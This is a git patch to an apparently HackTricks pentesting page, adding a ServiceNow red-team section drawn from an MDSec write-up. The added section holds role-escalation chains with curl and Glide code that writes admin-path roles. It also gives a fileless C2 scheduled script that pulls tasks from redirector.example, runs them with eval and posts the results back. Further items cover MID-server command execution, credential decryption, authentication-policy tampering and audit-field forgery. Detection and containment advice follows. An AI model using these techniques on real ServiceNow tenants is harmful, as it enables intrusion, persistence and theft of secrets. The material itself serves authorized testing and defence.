From 1e9779e51405618859e0c0ef3a67938a3eed43db Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 18 Sep 2026 18:35:11 +0000 Subject: [PATCH] =?UTF-8?q?Add=20content=20from:=20When=20It=20Snows=20It?= =?UTF-8?q?=20Pours=20=E2=80=93=20Anatomy=20of=20a=20ServiceNow=20Red=20Te?= =?UTF-8?q?am?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pentesting-web/servicenow.md | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) diff --git a/src/network-services-pentesting/pentesting-web/servicenow.md b/src/network-services-pentesting/pentesting-web/servicenow.md index ec578e16c35..1111361d7eb 100644 --- a/src/network-services-pentesting/pentesting-web/servicenow.md +++ b/src/network-services-pentesting/pentesting-web/servicenow.md @@ -103,6 +103,124 @@ Useful behaviors: - Flags public `/stats.do` access - Supports JSON output for triage and replay +## Initial access pivots + +From a compromised workstation, a live ServiceNow browser session can provide a tenant foothold that is operationally separate from later host activity. Reuse the session only within the authorized test scope, inspect the user at `sys_user_list.do`, and inventory inherited as well as direct roles before choosing an escalation path. On accessible shares and deployment backups, search for ServiceNow MID `config.xml` files: they may expose the cloud-tenant service credential and proxy configuration. An account whose **Identity Type** is **Machine** may reject `login.do` while remaining usable through the REST API.[[7]](#references) + +## Post-authentication role escalation + +After obtaining a session or API credential, enumerate the effective roles in `sys_user_has_role` and reproduce them in a personal developer instance. Any role that can create or execute **User Criteria, transforms, reports, workflows, business rules, or scheduled scripts** should be treated as a potential server-side Glide-script primitive: the script may execute with more privilege than the caller, sometimes as `system`.[[7]](#references) + +Useful chains identified during red-team engagements include:[[7]](#references) + +- **`catalog_admin` → `user_criteria_admin` → `action_designer` → `admin`:** create or edit an `sc_cat_item`, attach a scripted **Not Available For** User Criterion, and run it through `uc_item_diagnostics.do`. Use the first execution to insert `action_designer` into `sys_user_has_role`; after re-authentication, a Workflow Studio custom action with a Script Step can run in system context and assign `admin`. +- **`import_admin` via a machine identity:** if no REST API Access Policy restricts the credential's source, create an active `sys_transform_map` with `run_script=true`. Trigger it by inserting a row into its source import table; the transform can clear `web_service_access_only`, grant `action_designer`, and turn an API-only account into an interactive escalation path. +- **`sn_cmdb_editor` via report generation:** create or modify a CMDB360 query, create its report-builder record at `sysauto_ms_report_builder.do`, then select **Execute Now** in `sysauto_ms_report_builder_list.do`. Test whether the associated script executes with enough privilege to assign an intermediate role such as `business_rule_admin`. + +For example, an API-only import account can create and trigger a scripted transform with two Table API requests; the JSON body must select an import source table and contain the privileged Glide logic in its `script` field.[[7]](#references) + +```bash +curl -u 'svc-mid:' -H 'Content-Type: application/json' \ + -X POST 'https://.service-now.com/api/now/table/sys_transform_map' \ + --data @transform.json + +curl -u 'svc-mid:' -H 'Content-Type: application/json' \ + -X POST 'https://.service-now.com/api/now/table/imp_location' \ + --data '{"u_state":"trigger"}' +``` + +The reusable privilege-write primitive is an insertion into `sys_user_has_role`; verify the target user and role before writing because the same pattern can be placed in User Criteria, transforms, Workflow Studio steps, report scripts, or business rules.[[7]](#references) + +```javascript +var role = new GlideRecord('sys_user_role'); +role.addQuery('name', 'action_designer'); +role.query(); +var user = new GlideRecord('sys_user'); +user.addQuery('user_name', 'target.user'); +user.query(); +if (role.next() && user.next()) { + var link = new GlideRecord('sys_user_has_role'); + link.initialize(); + link.user = user.sys_id; + link.role = role.sys_id; + link.insert(); +} +``` + +## Persistence and fileless Glide C2 + +Business rules provide event-driven persistence because almost every ServiceNow object is represented by a table. A rule attached to a low-frequency but dependable event, such as a Discovery status transition, can recreate a deleted account, reset its password, unlock/reactivate it, and restore its role assignment. Consequently, deleting the visible account does not contain the compromise while the modified rule remains active.[[7]](#references) + +Scheduled script jobs in `sysauto_script` provide time-driven execution. Because server-side Glide JavaScript supports outbound requests through `sn_ws.RESTMessageV2` and dynamic evaluation through `eval`, a job can fetch a task, execute it inside the SaaS tenant, and POST the result without writing a tenant-side payload file.[[7]](#references) + +```javascript +var get = new sn_ws.RESTMessageV2(); +get.setHttpMethod('GET'); +get.setEndpoint('https://redirector.example/checkin?id=' + gs.getProperty('instance_name')); +var task = get.execute().getBody(); +if (task.length) { + var result = eval(task); + var post = new sn_ws.RESTMessageV2(); + post.setHttpMethod('POST'); + post.setEndpoint('https://redirector.example/output?id=' + gs.getProperty('instance_name')); + post.setRequestBody(String(result)); + post.execute(); +} +``` + +## Pivoting through MID servers + +A compromised tenant can become a bridge into networks reachable by its MID servers. Two useful execution paths are:[[7]](#references) + +1. Upload a JAR through **MID Servers → JAR Files**, wait for synchronization, and use `JavascriptProbe` to invoke its class through the Rhino `Packages` namespace. +2. Insert a ready `Command` request into `ecc_queue` for a named `mid.server.` agent. The MID server executes the operating-system command and returns an input-queue record whose `response_to` points to the request. + +The minimal ECC request is shown below; authorized tooling should poll the response record and parse `//results/result/stdout` and `//results/result/stderr` from its XML payload.[[7]](#references) + +```javascript +var ecc = new GlideRecord('ecc_queue'); +ecc.initialize(); +ecc.agent = 'mid.server.MID01'; +ecc.topic = 'Command'; +ecc.payload = "" + + ""; +ecc.queue = 'output'; +ecc.state = 'ready'; +var requestId = ecc.insert(); +``` + +MID-side execution can also expose secrets that remain encrypted in the tenant UI. The MID automation libraries must decrypt credentials before using them; research demonstrated triggering MID-side code that instantiates `CredentialsProviderFactory` and calls `getCredentialByID()` for Windows discovery, SSH, and API credentials. Also inspect named `sn_ws.RESTMessageV2` integrations: an existing CyberArk REST Message may retrieve any secret its configured AppID and Safe permit.[[7]](#references) + +## High-value tables and authentication-policy manipulation + +Post-compromise review should prioritize `sys_user_login_history` for login sources and privileged sessions, `incident` and `sn_si_incident` for security telemetry and analyst notes, and `sys_attachment` for reports and operational documents. MID records, credential metadata, REST Messages, and discovery configuration can identify the shortest path from the tenant to privileged internal infrastructure.[[7]](#references) + +Adaptive Authentication is distributed across policy, decision-table, filter, and membership records. If a controlled administrator is blocked by source-IP or group conditions, enumerate active allow policies and trace this relationship chain:[[7]](#references) + +```text +sys_auth_policy_context -> sys_authentication_policy -> sys_decision + -> sys_auth_policy_condition + -> sys_authentication_policy_criteria_m2m + -> sys_group_filter_criteria + -> sys_auth_policy_criteria_group -> sys_user_group/sys_user_grmember +``` + +A policy-write primitive can create a group containing the controlled user, create a `sys_group_filter_criteria`, link the group to the criterion and the criterion to each active allow policy, then add the corresponding `sys_auth_policy_condition`. This changes the policy data itself and may permit a fresh UI login without proxying through the originally compromised endpoint.[[7]](#references) + +## Detection and containment pivots + +Do not rely only on direct role assignments or visible record timestamps. A custom role can inherit `admin` through `sys_user_role_contains`, bypassing controls that inspect only direct `sys_user_role`/`sys_user_has_role` changes. Privileged scripts can also call `autoSysFields(false)` and forge `sys_created_by`, `sys_updated_by`, `sys_created_on`, and `sys_updated_on`; compare suspicious records with audit, update-set, transaction, and outbound-network evidence rather than trusting those fields alone.[[7]](#references) + +During investigation, correlate these ServiceNow artifacts before terminating every relevant session and removing both the persistence object and its restored identities:[[7]](#references) + +- `sys_user_role_history` and `sys_user_role_contains` for short-lived or inherited privilege. +- `sys_flow_log` for Workflow Studio execution when `glide.workflow.log=true` and `com.glide.hub.flow_engine.log_level=DEBUG`. +- `sys_script_execution_history` for Background Scripts and `syslog_transaction` for UI activity. +- `sysauto_script`, business-rule records, outbound `sn_ws.RESTMessageV2` traffic, and unusual `ecc_queue` topics/agents. +- `sn_vsc_security_policy` to understand enabled privileged-role alerts and whether they cover inherited roles. + +An active impersonation session may survive deletion of the account from which impersonation began. Containment must therefore revoke active sessions, not merely disable/delete the visible user, and must verify that no scheduled script or business rule can recreate it.[[7]](#references) + ## Detection / validation notes From a defender or purple-team perspective, review logs for:[[1]](#references) @@ -122,5 +240,6 @@ When validating impact, prefer **bounded evidence**: keep the total count, a min - [4] [Varonis - Count(er) Strike: Data Inference Vulnerability in ServiceNow](https://www.varonis.com/blog/counter-strike-servicenow) - [5] [ServiceNow - Table API reference](https://www.servicenow.com/docs/r/api-reference/rest-apis/c_TableAPI.html) - [6] [ServiceNow - Service Portal widget API reference](https://www.servicenow.com/docs/r/platform-user-interface/service-portal/widget-api-reference.html) +- [7] [MDSec - When It Snows It Pours: Anatomy of a ServiceNow Red Team](https://mdsec.co.uk/2026/08/when-it-snows-it-pours-anatomy-of-a-servicenow-red-team) {{#include ../../banners/hacktricks-training.md}}